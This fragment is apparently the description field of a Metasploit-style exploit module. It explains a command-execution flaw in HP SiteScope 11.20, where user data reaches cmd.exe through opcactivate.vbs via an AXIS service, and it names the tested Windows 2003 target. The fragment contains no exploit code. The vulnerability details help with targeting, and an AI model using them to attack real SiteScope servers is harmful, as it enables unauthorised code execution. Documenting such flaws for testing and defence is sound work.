  'Description' => %q{
  This module exploits a code execution flaw in HP SiteScope.
  The vulnerability exists on the opcactivate.vbs script, which
  is reachable from the APIBSMIntegrationImpl AXIS service, and
  uses WScript.Shell.run() to execute cmd.exe with user provided
  data. Note which the opcactivate.vbs component is installed
  with the (optional) HP Operations Agent component. The module
  has been tested successfully on HP SiteScope 11.20 (with HP
  Operations Agent) over Windows 2003 SP2.
